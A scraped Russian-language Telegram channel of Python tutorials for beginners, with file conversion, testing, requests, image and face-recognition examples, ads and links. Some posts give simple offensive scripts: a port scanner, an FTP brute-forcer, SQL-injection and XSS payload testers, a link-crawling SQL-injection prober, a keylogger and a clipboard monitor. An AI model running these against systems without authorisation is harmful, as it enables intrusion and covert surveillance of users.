Python для новичков @pythonvideo Channel on Telegram

Python для новичков

@pythonvideo


Админ: @solkogan
Купить рекламу: https://telega.in/c/pythonvideo

Python для новичков (Russian)

Вы когда-нибудь задумывались о том, чтобы научиться программировать на одном из самых популярных языков - Python? В таком случае канал "Python для новичков" (@pythonvideo) - именно то, что вам нужно!

Этот канал предназначен специально для тех, кто только начинает свой путь в изучении программирования на Python. Здесь вы найдете много полезных видеоуроков, которые помогут вам разобраться в основах этого мощного языка программирования.

Администратором канала является @solkogan, который всегда готов помочь и ответить на ваши вопросы. Этот канал - идеальное место для новичков, которые хотят научиться программировать на Python с нуля.

Если вы заинтересованы в рекламе на канале "Python для новичков", вы можете приобрести ее, перейдя по ссылке https://telega.in/c/pythonvideo. Не упустите возможность расширить свою аудиторию и привлечь новых подписчиков! Присоединяйтесь к нам прямо сейчас и начните свой путь к владению языком Python!

Python для новичков

15 Jan, 01:55


Примеры кода на Python для преобразования файлов форматов DOCX, XML, XLSX и PDF в текстовые файлы (TXT). Для этого потребуется установить несколько библиотек: python-docx, lxml, openpyxl и PyPDF2.

### Преобразование DOCX в TXT

Для работы с DOCX файлами используем библиотеку python-docx.

from docx import Document

def docx_to_txt(docx_path, txt_path):
doc = Document(docx_path)
with open(txt_path, 'w', encoding='utf-8') as txt_file:
for para in doc.paragraphs:
txt_file.write(para.text + '\n')

# Пример использования
docx_to_txt('example.docx', 'example.txt')


### Преобразование XML в TXT

Для работы с XML файлами используем библиотеку lxml.

from lxml import etree

def xml_to_txt(xml_path, txt_path):
tree = etree.parse(xml_path)
root = tree.getroot()
with open(txt_path, 'w', encoding='utf-8') as txt_file:
for elem in root.iter():
txt_file.write(etree.tostring(elem, pretty_print=True).decode('utf-8') + '\n')

# Пример использования
xml_to_txt('example.xml', 'example.txt')


### Преобразование XLSX в TXT

Для работы с XLSX файлами используем библиотеку openpyxl.

from openpyxl import load_workbook

def xlsx_to_txt(xlsx_path, txt_path):
wb = load_workbook(xlsx_path)
with open(txt_path, 'w', encoding='utf-8') as txt_file:
for sheet in wb.worksheets:
for row in sheet.iter_rows(values_only=True):
txt_file.write('\t'.join(map(str, row)) + '\n')

# Пример использования
xlsx_to_txt('example.xlsx', 'example.txt')


### Преобразование PDF в TXT

Для работы с PDF файлами используем библиотеку PyPDF2.

import PyPDF2

def pdf_to_txt(pdf_path, txt_path):
with open(pdf_path, 'rb') as pdf_file:
reader = PyPDF2.PdfReader(pdf_file)
with open(txt_path, 'w', encoding='utf-8') as txt_file:
for page_num in range(len(reader.pages)):
page = reader.pages[page_num]
txt_file.write(page.extract_text() + '\n')

# Пример использования
pdf_to_txt('example.pdf', 'example.txt')


### Установка библиотек

Для установки необходимых библиотек используйте следующие команды:

pip install python-docx lxml openpyxl PyPDF2


Эти примеры демонстрируют базовые методы преобразования различных форматов файлов в текстовые файлы. В зависимости от структуры и содержания ваших файлов, возможно, потребуется дополнительная обработка данных.

Python для новичков

11 Jan, 05:39


https://habr.com/ru/companies/astralinux/articles/872510/

Python для новичков

06 Jan, 06:01


https://habr.com/ru/articles/871434/

Python для новичков

02 Jan, 08:28


Пентестинг (тестирование на проникновение) включает в себя множество различных техник и инструментов для выявления уязвимостей в системах. Вот несколько примеров кода на Python, которые могут быть полезны для пентестинга:

### 1. Сканирование портов

Для сканирования портов можно использовать библиотеку scapy. Установите её с помощью команды pip install scapy.

from scapy.all import *

def scan_port(ip, port):
p = IP(dst=ip)/TCP(dport=port, flags="S")
resp = sr1(p, timeout=1, verbose=0)
if resp and resp.haslayer(TCP) and resp.getlayer(TCP).flags == 0x12:
sr(IP(dst=ip)/TCP(dport=port, flags="R"), timeout=1, verbose=0)
return True
return False

def scan_ports(ip, ports):
open_ports = []
for port in ports:
if scan_port(ip, port):
open_ports.append(port)
return open_ports

ip = "192.168.1.1"
ports = range(1, 1024)
open_ports = scan_ports(ip, ports)
print(f"Open ports: {open_ports}")


### 2. Брутфорс FTP

Для брутфорса FTP можно использовать библиотеку ftplib.

from ftplib import FTP

def brute_force_ftp(host, user, passwords):
for password in passwords:
try:
ftp = FTP(host)
ftp.login(user, password)
print(f"Success: {user}:{password}")
ftp.quit()
return True
except:
pass
return False

host = "ftp.example.com"
user = "admin"
passwords = ["password1", "password2", "password3"]
brute_force_ftp(host, user, passwords)


### 3. SQL-инъекция

Для тестирования на SQL-инъекции можно использовать библиотеку requests.

import requests

def test_sql_injection(url, params):
payloads = ["' OR '1'='1", "' OR '1'='1' --", "' OR '1'='1' /*"]
for payload in payloads:
for param in params:
params[param] = payload
response = requests.get(url, params=params)
if "error" in response.text.lower() or "syntax" in response.text.lower():
print(f"Possible SQL injection vulnerability with payload: {payload}")

url = "http://example.com/login"
params = {"username": "admin", "password": "password"}
test_sql_injection(url, params)


### 4. XSS (Cross-Site Scripting)

Для тестирования на XSS можно использовать библиотеку requests.

import requests

def test_xss(url, params):
payloads = ["<script>alert('XSS')</script>", "<img src=x onerror=alert('XSS')>"]
for payload in payloads:
for param in params:
params[param] = payload
response = requests.get(url, params=params)
if payload in response.text:
print(f"Possible XSS vulnerability with payload: {payload}")

url = "http://example.com/search"
params = {"q": "test"}
test_xss(url, params)


### 5. Перебор директорий

Для перебора директорий можно использовать библиотеку requests.

import requests

def directory_brute_force(url, directories):
for directory in directories:
test_url = f"{url}/{directory}"
response = requests.get(test_url)
if response.status_code == 200:
print(f"Directory found: {test_url}")

url = "http://example.com"
directories = ["admin", "login", "dashboard", "backup"]
directory_brute_force(url, directories)


Эти примеры демонстрируют базовые техники пентестинга. Пожалуйста, используйте их только в законных целях и с разрешения владельцев систем.

Python для новичков

02 Jan, 08:26


Для перехвата буфера обмена можно использовать библиотеку pyperclip.

Установите её с помощью команды

pip install pyperclip

import pyperclip
import time

def clipboard_listener():
last_clipboard = ""
while True:
current_clipboard = pyperclip.paste()
if current_clipboard != last_clipboard:
print(f'Clipboard changed: {current_clipboard}')
last_clipboard = current_clipboard
time.sleep(1)

clipboard_listener()

Python для новичков

02 Jan, 08:24


Для создания кейлоггера можно использовать библиотеку pynput.

Установите её с помощью команды

pip install pynput

from pynput import keyboard

def on_press(key):
try:
print(f'Key {key.char} pressed')
except AttributeError:
print(f'Special key {key} pressed')

def on_release(key):
print(f'Key {key} released')
if key == keyboard.Key.esc:
# Stop listener
return False

# Collect events until released
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()

Python для новичков

29 Dec, 07:42


🌲🎄🌲

Python для новичков

19 Dec, 14:00


https://habr.com/ru/articles/867964/

Python для новичков

16 Dec, 01:07


Игра Змейка на Pyqt5

Python для новичков

14 Dec, 09:03


## Основы юнит-тестирования

Юнит-тестирование — это метод проверки отдельных модулей (юнитов) кода на правильность их работы. В Python для юнит-тестирования часто используется модуль unittest, который является частью стандартной библиотеки.

### Основные компоненты

1. Тестовый случай (Test Case) — это класс, который наследует от unittest.TestCase. Он содержит методы, тестирующие отдельные функции или методы.

2. Тестовый набор (Test Suite) — это набор тестов, который может содержать тестовые случаи и другие тестовые наборы.

3. Тестовый запуск (Test Runner) — это компонент, который запускает тесты и показывает результаты.

### Основные методы unittest.TestCase

- assertEqual(a, b) — проверяет, что a равно b.
- assertNotEqual(a, b) — проверяет, что a не равно b.
- assertTrue(x) — проверяет, что x истинно.
- assertFalse(x) — проверяет, что x ложно.
- assertIsNone(x) — проверяет, что x равно None.
- assertIsNotNone(x) — проверяет, что x не равно None.

### Пример использования unittest

import unittest

def add(a, b):
return a + b

class TestMathFunctions(unittest.TestCase):

def test_add(self):
self.assertEqual(add(1, 2), 3)
self.assertEqual(add(-1, 1), 0)
self.assertEqual(add(0, 0), 0)

def test_add_negative(self):
self.assertEqual(add(-1, -1), -2)

if __name__ == '__main__':
unittest.main()


### Запуск тестов

Сохраните тесты в файл, например, test_math.py, и запустите его с помощью команды:

python -m unittest test_math.py


## Использование setUp и tearDown

Методы setUp и tearDown позволяют подготавливать тестовую среду перед каждым тестом и очищать её после теста.

class TestMathFunctions(unittest.TestCase):

def setUp(self):
self.a = 10
self.b = 5

def tearDown(self):
pass # Здесь можно выполнить очистку, если это необходимо

def test_add(self):
self.assertEqual(add(self.a, self.b), 15)

def test_subtract(self):
self.assertEqual(self.a - self.b, 5)


## Параметризованные тесты с unittest

Для тестирования с несколькими наборами данных можно использовать subTest.

class TestMathFunctions(unittest.TestCase):

def test_add(self):
test_cases = [
(1, 2, 3),
(-1, 1, 0),
(0, 0, 0),
(-1, -1, -2)
]

for a, b, expected in test_cases:
with self.subTest(a=a, b=b):
self.assertEqual(add(a, b), expected)


## Использование библиотеки pytest

pytest — это более мощная и гибкая библиотека для тестирования в Python, которая поддерживает простую синтаксис и множество плагинов.

### Установка pytest

pip install pytest


### Пример теста с pytest

def add(a, b):
return a + b

def test_add():
assert add(1, 2) == 3
assert add(-1, 1) == 0
assert add(0, 0) == 0
assert add(-1, -1) == -2


### Запуск тестов с pytest

Запустите тесты, просто выполнив команду:

pytest


## Заключение

Юнит-тестирование — это важная часть разработки программного обеспечения, которая помогает находить и исправлять ошибки на ранних этапах. Используйте unittest для стандартного тестирования и pytest для более сложных сценариев. Не забывайте о хорошей практике написания тестов — они должны быть изолированными, понятными и быстро выполняемыми.

### Полезные ссылки

- [Документация по unittest](https://docs.python.org/3/library/unittest.html)

Python для новичков

11 Dec, 07:01


https://habr.com/ru/companies/timeweb/articles/858664/

Python для новичков

10 Dec, 01:56


🔵 Практический интенсив «Python-разработчик: основы за 2 дня» — 16 - 17 декабря в 19:00 мск.

О перспективах направления Python и многом другом расскажет Рафаэль Мухаметшин, Middle Бэкенд-разработчик в «ПИК Digital» с опытом в разработке более 3 лет.

На вебинаре вы:

☑️ Самостоятельно напишете Telegram-бота в формате консольного приложения.
☑️ Познакомитесь с синтаксисом языка и сферами его применения.
☑️ Изучите рекомендации по продолжению обучения и развитию карьеры Backend-разработчика на Python.
☑️ Узнаете, чего ждут работодатели от junior-разработчиков и что делать, чтобы найти работу без опыта.

🎁 Приятные бонусы - карта компетенций начинающего Python-разработчика и гайд «Как заговорить на сленге IT-специалистов» всем участникам интенсива!

Python для новичков

09 Dec, 04:02


https://habr.com/ru/articles/864000/

Python для новичков

08 Dec, 01:53


https://habr.com/ru/companies/ruvds/articles/863704/

Python для новичков

04 Dec, 13:18


import os
import wave
import json
from vosk import Model, KaldiRecognizer

# Загрузка модели
if not os.path.exists("model"):
print("Пожалуйста, скачайте модель с https://alphacephei.com/vosk/models и распакуйте её в папку 'model'")
exit(1)

model = Model("model")

# Загрузка аудиофайла
audio_file = "path/to/your/audiofile.wav"
wf = wave.open(audio_file, "rb")

# Проверка формата аудиофайла
if wf.getnchannels() != 1 or wf.getsampwidth() != 2 or wf.getframerate() != 16000:
print("Аудиофайл должен быть моно, PCM 16-бит, 16000 Гц")
exit(1)

# Инициализация распознавателя
rec = KaldiRecognizer(model, wf.getframerate())

# Распознавание речи
while True:
data = wf.readframes(4000)
if len(data) == 0:
break
if rec.AcceptWaveform(data):
result = rec.Result()
result_dict = json.loads(result)
print("Vosk понял: " + result_dict.get("text", ""))
else:
partial_result = rec.PartialResult()
partial_result_dict = json.loads(partial_result)
print("Vosk частично понял: " + partial_result_dict.get("partial", ""))

# Завершение распознавания
final_result = rec.FinalResult()
final_result_dict = json.loads(final_result)
print("Vosk понял: " + final_result_dict.get("text", ""))

Python для новичков

04 Dec, 13:17


import speech_recognition as sr

# Инициализация распознавателя
recognizer = sr.Recognizer()

# Запись аудио с микрофона
with sr.Microphone() as source:
print("Скажите что-нибудь...")
audio = recognizer.listen(source)

# Распознавание речи с использованием Google Web Speech API
try:
print("Google Web Speech API понял: " + recognizer.recognize_google(audio, language="ru-RU"))
except sr.UnknownValueError:
print("Google Web Speech API не смог распознать речь")
except sr.RequestError as e:
print("Ошибка запроса к Google Web Speech API; {0}".format(e))

Python для новичков

04 Dec, 04:52


Подписывайтесь на мой второй канал:

https://t.me/info_sol

Там вы найдёте множество интересных статей о саморазвитии и технологиях, подборки полезных книг, конспирологические теории и эзотерические размышления ))

Python для новичков

02 Dec, 00:43


https://habr.com/ru/articles/862692/

Python для новичков

30 Nov, 11:21


2D бродилка на PyGame

Python для новичков

28 Nov, 12:06


1. Установка библиотеки requests:
   pip install requests


2. Отправка GET-запроса:
   import requests
response = requests.get('https://api.example.com/data')


3. Отправка POST-запроса:
   data = {'key': 'value'}
response = requests.post('https://api.example.com/data', data=data)


4. Отправка запроса с заголовками:
   headers = {'Authorization': 'Bearer your_token'}
response = requests.get('https://api.example.com/data', headers=headers)


5. Отправка запроса с параметрами:
   params = {'key1': 'value1', 'key2': 'value2'}
response = requests.get('https://api.example.com/data', params=params)


6. Отправка запроса с JSON-данными:
   json_data = {'key': 'value'}
response = requests.post('https://api.example.com/data', json=json_data)


7. Проверка статуса ответа:
   if response.status_code == 200:
print('Success!')


8. Получение JSON-ответа:
   data = response.json()


9. Получение текста ответа:
   text = response.text


10. Отправка запроса с файлом:
    files = {'file': open('example.txt', 'rb')}
response = requests.post('https://api.example.com/upload', files=files)


11. Отправка запроса с таймаутом:
    response = requests.get('https://api.example.com/data', timeout=5)


12. Обработка ошибок:
    try:
response = requests.get('https://api.example.com/data')
response.raise_for_status()
except requests.exceptions.HTTPError as err:
print(f'HTTP error occurred: {err}')


13. Использование сессий для повторного использования соединений:
    session = requests.Session()
response = session.get('https://api.example.com/data')


14. Отправка запроса с куками:
    cookies = {'cookie_name': 'cookie_value'}
response = requests.get('https://api.example.com/data', cookies=cookies)


15. Отправка запроса с прокси:
    proxies = {
'http': 'http://10.10.1.10:3128',
'https': 'http://10.10.1.10:1080',
}
response = requests.get('https://api.example.com/data', proxies=proxies)

Python для новичков

28 Nov, 06:07


🐍 Начните программировать на Python - бесплатно!

Курс по основам Python с наставником — напишете первый мини пет-проект в портфолио за 14 дней.

🔹 72 урока в онлайн-тренажере.
🔹 4 живых вебинара.
🔹 Закрытый telegram-чат для поддержки 24/7.
🔹 Полезные материалы с собой.

А главное при поддержке наставника: попробуйте быстро, просто и без ошибок.

 📍Старт курса: уже 3 декабря!

Python для новичков

27 Nov, 11:09


Если вам интересно, чем увлекается админ этого канала, и какие мысли бродят в его буйной голове, подписывайтесь 👇

https://t.me/info_sol

Python для новичков

27 Nov, 04:12


1. Установка библиотеки Pillow:
   pip install pillow


2. Открытие изображения:
   from PIL import Image
img = Image.open('example.jpg')


3. Показ изображения:
   img.show()


4. Сохранение изображения:
   img.save('new_example.jpg')


5. Изменение размера изображения:
   resized_img = img.resize((width, height))


6. Обрезка изображения:
   cropped_img = img.crop((left, upper, right, lower))


7. Поворот изображения:
   rotated_img = img.rotate(angle)


8. Преобразование изображения в черно-белое:
   bw_img = img.convert('L')


9. Наложение текста на изображение:
   from PIL import ImageDraw, ImageFont
draw = ImageDraw.Draw(img)
font = ImageFont.truetype('arial.ttf', size)
draw.text((x, y), 'Hello', font=font, fill='white')


10. Создание миниатюры:
    img.thumbnail((width, height))


11. Объединение изображений:
    images = [Image.open(x) for x in ['img1.jpg', 'img2.jpg']]
widths, heights = zip(*(i.size for i in images))
total_width = sum(widths)
max_height = max(heights)
new_img = Image.new('RGB', (total_width, max_height))
x_offset = 0
for im in images:
new_img.paste(im, (x_offset,0))
x_offset += im.size[0]


12. Изменение прозрачности изображения:
    img = img.convert("RGBA")
datas = img.getdata()
new_data = []
for item in datas:
if item[0] > 200 and item[1] > 200 and item[2] > 200: # Условие для прозрачности
new_data.append((255, 255, 255, 0))
else:
new_data.append(item)
img.putdata(new_data)


13. Преобразование изображения в массив numpy:
    import numpy as np
img_array = np.array(img)


14. Преобразование массива numpy в изображение:
    img = Image.fromarray(img_array)


15. Применение фильтра к изображению:
    from PIL import ImageFilter
blurred_img = img.filter(ImageFilter.BLUR)

Python для новичков

25 Nov, 12:16


Создание декоратора для логирования времени выполнения функций:

import time

def log_time(func):
def wrapper(*args, **kwargs):
start = time.time()
result = func(*args, **kwargs)
print(f"{func.__name__} took {time.time() - start} seconds")
return result
return wrapper

Python для новичков

25 Nov, 12:15


Модуль timeit для быстрой оценки производительности:

import timeit
timeit.timeit('"-".join(str(n) for n in range(100))', number=10000)

Python для новичков

24 Nov, 04:03


Декораторы могут принимать параметры, что позволяет создавать более гибкие декораторы. Например:

def repeat(num_times):
def decorator_repeat(func):
def wrapper(*args, **kwargs):
for _ in range(num_times):
value = func(*args, **kwargs)
return value
return wrapper
return decorator_repeat

@repeat(num_times=4)
def say_hello():
print("Hello")

say_hello() # Выведет "Hello" 4 раза

Python для новичков

24 Nov, 02:21


Подписывайтесь, будет много интересного )

👇👇👇

https://t.me/info_sol

👆👆👆

Python для новичков

23 Nov, 03:51


Использование contextlib.suppress для игнорирования исключений

Это позволяет писать код более лаконично:

from contextlib import suppress

with suppress(FileNotFoundError):
with open("file.txt", "r") as file:
content = file.read()

Python для новичков

19 Nov, 12:14


https://habr.com/ru/companies/amvera/articles/858292/

Python для новичков

19 Nov, 06:58


🔵 Практический интенсив «Python-разработчик: основы за 2 дня» — 20-21 ноября в 19:00 мск.

О перспективах направления Python и многом другом расскажет Рафаэль Мухаметшин, Middle Бэкенд-разработчик в «ПИК Digital» с опытом в разработке более 3 лет.

На вебинаре вы:

☑️ Самостоятельно напишете Telegram-бота с карточными мини-играми.
☑️ Познакомитесь с синтаксисом языка и сферами его применения.
☑️ Поймете как продолжить обучение, какие навыки потребуются, чтобы стать backend-разработчиком на Python.
☑️ Узнаете, чего ждут работодатели от junior-разработчиков и что делать, чтобы найти работу без опыта.

🎁 Приятные бонусы: полезный гайд для начинающего Python-разработчика и гайд о сленге в IT всем участникам интенсива!

Python для новичков

09 Nov, 00:35


Вот несколько неочевидных лайфхаков для программирования на Python, которые могут значительно упростить вашу работу:

### 1. Использование enumerate()
Когда вам нужно итерироваться по элементам списка и получать их индексы, используйте enumerate() вместо range(len()):
my_list = ['a', 'b', 'c']
for index, value in enumerate(my_list):
print(index, value)


### 2. Списковые включения для фильтрации
Используйте списковые включения (list comprehensions) для создания списков на основе существующих, с возможностью фильтрации:
squared_evens = [x**2 for x in range(10) if x % 2 == 0]


### 3. Использование zip()
Функция zip() позволяет объединять несколько списков в пары, что может быть полезно для обработки данных:
names = ['Alice', 'Bob', 'Charlie']
ages = [24, 30, 22]
combined = list(zip(names, ages))


### 4. *args и **kwargs
Используйте *args и **kwargs в функциях, чтобы сделать их более гибкими и позволяющими передавать переменное количество аргументов:
def my_function(*args, **kwargs):
print(args) # кортеж позиционных аргументов
print(kwargs) # словарь именованных аргументов


### 5. contextlib для управления ресурсами
Используйте contextlib для создания контекстных менеджеров и автоматического управления ресурсами:
from contextlib import contextmanager

@contextmanager
def my_resource():
# Инициализация ресурса
yield resource
# Освобождение ресурса


### 6. Использование defaultdict из модуля collections
Если вы часто работаете с словарями и хотите избежать ошибок при добавлении значений, используйте defaultdict:
from collections import defaultdict

my_dict = defaultdict(int)
my_dict['a'] += 1 # Не вызовет KeyError


### 7. Генераторы для работы с большими данными
Используйте генераторы для работы с большими объемами данных, чтобы избежать излишнего расхода памяти:
def my_generator():
for i in range(1000000):
yield i * 2


### 8. set для удаления дубликатов
Используйте множество (set), чтобы быстро удалить дубликаты из списка:
my_list = [1, 2, 2, 3, 4, 4, 5]
unique_list = list(set(my_list))


### 9. Использование itertools для комбинаций и перестановок
Модуль itertools предоставляет мощные инструменты для работы с итераторами, включая функции для генерации комбинаций и перестановок:
from itertools import combinations

for combo in combinations([1, 2, 3, 4], 2):
print(combo)


### 10. Печать отладочной информации с помощью logging
Используйте модуль logging вместо print() для более продвинутой отладки. Вы сможете легко контролировать уровень логирования и формат сообщений:
import logging

logging.basicConfig(level=logging.DEBUG)
logging.debug("Это отладочное сообщение")


### 11. Используйте f-строки для форматирования строк
f-строки (доступны с Python 3.6) позволяют удобно форматировать строки:
name = "Alice"
age = 30
print(f"{name} is {age} years old.")

Python для новичков

05 Nov, 00:45


Шпаргалка по библиотеке face_recognition, которая поможет вам быстро начать работать с распознаванием лиц в Python.


### Установка

Убедитесь, что у вас установлены следующие зависимости:

pip install face_recognition


Если у вас возникают проблемы с установкой, убедитесь, что у вас также установлены dlib и cmake. Для установки dlib может потребоваться компилятор C++.

### Импорт библиотеки

import face_recognition
import cv2 # Для работы с изображениями
import numpy as np


### Основные функции

1. Загрузка изображений
- Загрузка изображения из файла:
     image = face_recognition.load_image_file("your_image.jpg")


2. Обнаружение лиц
- Получение расположения лиц на изображении:
     face_locations = face_recognition.face_locations(image)


3. Извлечение признаков лиц
- Получение векторов признаков для каждого обнаруженного лица:
     face_encodings = face_recognition.face_encodings(image)


4. Сравнение лиц
- Сравнение векторов признаков для определения, совпадают ли лица:
     results = face_recognition.compare_faces([known_face_encoding], unknown_face_encoding)


5. Определение имен лиц
- Определение имени на основе векторов признаков:
     known_face_encodings = [face_recognition.face_encodings(face_recognition.load_image_file("known_face.jpg"))[0]]
known_face_names = ["Your Name"]

for unknown_face_encoding in face_encodings:
results = face_recognition.compare_faces(known_face_encodings, unknown_face_encoding)
if True in results:
first_match_index = results.index(True)
name = known_face_names[first_match_index]


### Пример использования

#### Полный пример распознавания лиц на изображении

import face_recognition
import cv2

# Загрузка изображения
image = face_recognition.load_image_file("your_image.jpg")

# Обнаружение лиц
face_locations = face_recognition.face_locations(image)
face_encodings = face_recognition.face_encodings(image)

# Конвертация изображения в формат OpenCV
image_cv2 = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)

# Вывод результата
for (top, right, bottom, left), face_encoding in zip(face_locations, face_encodings):
# Нарисовать прямоугольник вокруг лица
cv2.rectangle(image_cv2, (left, top), (right, bottom), (0, 255, 0), 2)

# Сравнение с известными лицами (если есть)
# known_face_encodings - список известных векторов
# known_face_names - список имен известных лиц
results = face_recognition.compare_faces(known_face_encodings, face_encoding)

name = "Unknown"
if True in results:
first_match_index = results.index(True)
name = known_face_names[first_match_index]

# Отображение имени
cv2.putText(image_cv2, name, (left, top - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 2)

# Показать изображение
cv2.imshow("Image", image_cv2)
cv2.waitKey(0)
cv2.destroyAllWindows()


### Полезные советы

- Работа с видео: Чтобы распознавать лица в реальном времени, вы можете использовать библиотеку OpenCV для захвата видео с веб-камеры:

  video_capture = cv2.VideoCapture(0)

while True:
ret, frame = video_capture.read()
# Обработка каждого кадра аналогично тому, как это сделано с изображениями
# ...

cv2.imshow('Video', frame)
if cv2.waitKey(1) & 0xFF == ord('q'):
break

video_capture.release()
cv2.destroyAllWindows()


- Сохранение векторов: Вы можете сохранять векторы признаков и имена в файл (например, JSON) для дальнейшего использования.

- Оптимизация: Для улучшения производительности можно уменьшать размер изображения перед распознаванием.

### Заключение

Эта шпаргалка предоставляет основные команды и примеры использования библиотеки face_recognition. Вы можете исследовать документацию для более глубокого понимания и дополнительных возможностей.

Python для новичков

04 Nov, 14:59


Станьте разработчиком нейро-сотрудников на Python и зарабатывайте от 150.000р в месяц 🔥🔥🔥

Мы научим вас создавать топовых нейро-сотрудников на базе GPT-4 Omni, и вы сможете:
1️⃣ Устроиться разработчиком в крупную компанию и зарабатывать от 150 тысяч ₽ в месяц
2️⃣ Разрабатывать такие проекты на заказ и зарабатывать от 500 тысяч ₽ за проект
3️⃣ Создать нейро-сотрудника в вашей компании и вырасти на +30-100% в зарплате

Что будет на интенсиве?
🧬 Теория: как создаются нейро-сотрудники с GPT-4o на Python
🧬 Практика: мы создадим нейро-консультанта, нейро-HR, нейро-маркетолога и др.

Ведущий интенсива - Senior AI разработчик нейросетей и основатель Университета искусственного интеллекта
🔥 Регистрируйтесь на бесплатный интенсив! Встречаемся в ближайший четверг!

Python для новичков

01 Nov, 06:21


Шпаргалка по модулю configparser в Python, который позволяет работать с конфигурационными файлами в формате .ini.

### Основные функции configparser

#### Установка

configparser является стандартным модулем в Python, начиная с версии 3.x, и не требует установки.

import configparser


### Основные операции

#### 1. Создание и запись конфигурационного файла

# Создание экземпляра ConfigParser
config = configparser.ConfigParser()

# Добавление секций и параметров
config['DEFAULT'] = {
'Server': 'localhost',
'Port': '8080'
}

config['Database'] = {
'User': 'admin',
'Password': 'password'
}

# Сохранение в файл
with open('settings.ini', 'w') as configfile:
config.write(configfile)


Пример `settings.ini`:

[DEFAULT]
Server = localhost
Port = 8080

[Database]
User = admin
Password = password


#### 2. Чтение конфигурационного файла

# Создание экземпляра ConfigParser
config = configparser.ConfigParser()

# Чтение файла
config.read('settings.ini')

# Получение значений
server = config['DEFAULT']['Server']
port = config.getint('DEFAULT', 'Port')
db_user = config['Database']['User']

print(f"Server: {server}, Port: {port}, User: {db_user}")


#### 3. Изменение настроек

# Изменение значения
config['Database']['Password'] = 'new_password'

# Сохранение изменений
with open('settings.ini', 'w') as configfile:
config.write(configfile)


#### 4. Удаление секции или параметра

# Удаление параметра
config.remove_option('Database', 'Password')

# Удаление секции
config.remove_section('Database')

# Сохранение изменений
with open('settings.ini', 'w') as configfile:
config.write(configfile)


### Полезные методы ConfigParser

- Чтение:
- read(filenames): Читает конфигурацию из одного или нескольких файлов.
- read_file(file): Читает конфигурацию из файла, переданного как объект файла.

- Запись:
- write(file): Сохраняет текущую конфигурацию в файл.

- Получение значений:
- get(section, option): Получает значение параметра как строку.
- getint(section, option): Получает значение параметра как целое число.
- getfloat(section, option): Получает значение параметра как число с плавающей точкой.
- getboolean(section, option): Получает значение параметра как булевый тип.

- Изменение и удаление:
- set(section, option, value): Устанавливает значение параметра.
- remove_option(section, option): Удаляет параметр из секции.
- remove_section(section): Удаляет секцию.

- Проверка наличия:
- has_section(section): Проверяет, существует ли секция.
- has_option(section, option): Проверяет, существует ли параметр в секции.

### Пример полного использования

import configparser

# Создание и запись файла
config = configparser.ConfigParser()
config['DEFAULT'] = {'Server': 'localhost', 'Port': '8080'}
config['Database'] = {'User': 'admin', 'Password': 'password'}
with open('settings.ini', 'w') as configfile:
config.write(configfile)

# Чтение настроек
config.read('settings.ini')
print(config['Database']['User'])

# Изменение настроек
config['Database']['Password'] = 'new_password'
with open('settings.ini', 'w') as configfile:
config.write(configfile)

# Удаление параметра
config.remove_option('Database', 'Password')
with open('settings.ini', 'w') as configfile:
config.write(configfile)


### Заключение

configparser — это удобный инструмент для работы с конфигурационными файлами в формате .ini, позволяющий легко сохранять и загружать настройки для ваших приложений.

Python для новичков

30 Oct, 09:23


https://habr.com/ru/companies/timeweb/articles/854382/

Python для новичков

27 Oct, 06:34


Как создать простой скрипт на Python для тестирования SQL уязвимостей

Для этого мы можем использовать библиотеку requests для выполнения HTTP-запросов, а также BeautifulSoup для парсинга HTML. Убедитесь, что у вас установлены необходимые библиотеки:

pip install requests beautifulsoup4


Вот пример простого скрипта для тестирования ссылок на SQL-инъекции:

import requests
from bs4 import BeautifulSoup
import urllib.parse

# Функция для проверки уязвимости на SQL-инъекции
def test_sql_injection(url):
# Примеры полезных полезных SQL-инъекций
sql_payloads = [
"' OR '1'='1",
"' OR '1'='1' -- ",
"' OR '1'='1' /*",
'" OR "1"="1',
'" OR "1"="1" -- ',
'" OR "1"="1" /*'
]

for payload in sql_payloads:
# Создаем URL с полезной нагрузкой
test_url = f"{url}{payload}"
try:
response = requests.get(test_url)
if response.status_code == 200:
# Проверка на наличие ошибок SQL в ответе
if "error" in response.text.lower() or "sql" in response.text.lower():
print(f"[!] Potential SQL Injection vulnerability found at: {test_url}")
else:
print(f"[ ] No vulnerability detected at: {test_url}")
else:
print(f"[ ] Received status code {response.status_code} for: {test_url}")
except requests.RequestException as e:
print(f"[!] Request failed for {test_url}: {str(e)}")

# Функция для получения всех ссылок на странице
def get_links(url):
try:
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
links = [a['href'] for a in soup.find_all('a', href=True)]
return [urllib.parse.urljoin(url, link) for link in links] # Полные URL
except requests.RequestException as e:
print(f"[!] Failed to retrieve links from {url}: {str(e)}")
return []

# Главная функция
def main():
target_url = input("Enter the URL to test for SQL Injection: ")
links = get_links(target_url)

for link in links:
print(f"Testing {link} for SQL Injection...")
test_sql_injection(link)

if __name__ == "__main__":
main()


### Основные моменты:

1. Скрипт запрашивает URL: Вводите URL сайта, который хотите протестировать.
2. Получение ссылок: Скрипт получает все ссылки на указанной странице.
3. Тестирование на SQL-инъекции: Для каждой ссылки скрипт добавляет различные полезные нагрузки и проверяет ответ сервера на наличие ошибок SQL.
4. Вывод результатов: Скрипт сообщает, если обнаружена потенциальная уязвимость.

- Этот скрипт является базовым примером и не гарантирует обнаружение всех уязвимостей. Для более глубокого анализа используйте специализированные инструменты для тестирования на проникновение.

Python для новичков

25 Oct, 02:35


https://habr.com/ru/articles/852900/

Python для новичков

23 Oct, 08:42


Подписывайтесь на мой второй канал, про Linux

👇👇👇

https://t.me/mindlinux

👆👆👆

Python для новичков

23 Oct, 01:43


https://habr.com/ru/companies/selectel/articles/852468/

Python для новичков

21 Oct, 02:40


Работа с документами формата DOCX в Python может значительно упростить офисные задачи. Для этого часто используется библиотека python-docx, которая позволяет создавать, изменять и анализировать документы Word.

### Установка библиотеки

Сначала необходимо установить библиотеку, если она еще не установлена:

pip install python-docx


### 1. Создание нового DOCX документа

Этот код создает новый документ и добавляет в него заголовок и абзац.

from docx import Document

def create_document():
doc = Document()
doc.add_heading('Заголовок документа', level=1)
doc.add_paragraph('Это абзац текста в новом документе.')
doc.save('новый_документ.docx')

create_document()


### 2. Чтение текста из существующего DOCX документа

Этот код считывает текст из существующего документа и выводит его на экран.

from docx import Document

def read_document(file_path):
doc = Document(file_path)
for paragraph in doc.paragraphs:
print(paragraph.text)

read_document('существующий_документ.docx')


### 3. Добавление таблицы в документ

Этот код добавляет таблицу в документ с заданным количеством строк и столбцов.

from docx import Document

def add_table_to_document():
